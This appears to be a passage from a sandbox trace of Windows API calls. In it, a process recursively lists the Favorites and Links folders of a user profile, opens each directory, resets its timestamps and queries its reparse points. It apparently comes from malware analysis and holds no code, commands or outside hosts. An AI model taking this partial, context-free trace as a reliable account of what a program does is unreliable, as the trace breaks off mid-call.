[0090.825] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0090.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c7b0) returned 1 [0090.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.827] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="")) returned 1 [0090.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.827] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0090.827] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0090.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.828] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0090.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.830] NtClose (Handle=0x16c) returned 0x0 [0090.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.831] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0090.833] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.833] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="")) returned 1 [0090.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2208 [0090.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2208) returned 1 [0090.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2208 [0090.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2208) returned 1 [0090.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2208 [0090.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134c7b0 [0090.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2070) returned 1 [0090.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f59d8 [0090.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134f720 [0090.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2208) returned 1 [0090.835] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="")) returned 1 [0090.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2208 [0090.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2208) returned 1 [0090.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2208 [0090.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2208) returned 1 [0090.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2208 [0090.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f59f8 [0090.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134f828 [0090.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2208) returned 1 [0090.837] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="")) returned 1 [0090.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2208 [0090.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2208) returned 1 [0090.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2208 [0090.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2208) returned 1 [0090.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2208 [0090.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5a18 [0090.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x134f930 [0090.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2208) returned 1 [0090.838] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="")) returned 1 [0090.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2208 [0090.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2208) returned 1 [0090.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2208 [0090.839] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f2208) returned 1 [0090.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2208 [0090.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5a38 [0090.840] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="")) returned 0 [0090.840] GetLastError () returned 0x12 [0090.840] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0090.840] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0090.840] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.840] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="")) returned 1 [0090.840] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="")) returned 1 [0090.840] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="")) returned 1 [0090.840] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="")) returned 1 [0090.840] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="")) returned 0 [0090.840] GetLastError () returned 0x12 [0090.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1f60) returned 1 [0090.841] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0090.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x134c7b0) returned 1 [0090.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.842] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="")) returned 0 [0090.842] GetLastError () returned 0x12 [0090.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efde8) returned 1 [0090.842] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efd60) returned 1 [0090.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.843] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0090.843] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0090.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0090.843] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0090.843] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0090.844] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0090.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0090.844] NtClose (Handle=0x164) returned 0x0 [0090.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0090.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0090.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efd60 [0090.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efde8 [0090.845] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0090.845] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.845] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.845] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5a58 [0090.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1f60 [0090.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.847] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0090.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.848] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5a78 [0090.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2208 [0090.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.849] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="")) returned 1 [0090.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.850] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5a98 [0090.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2070 [0090.850] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.850] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="")) returned 1 [0090.850] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.851] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.851] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0090.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0090.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f5ab8 [0090.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f2290 [0090.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x97c0) returned 0x132a698 [0090.852] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="")) returned 0 [0090.852] GetLastError () returned 0x12 [0090.852] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0090.852] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.852] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.852] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.852] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0090.852] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, 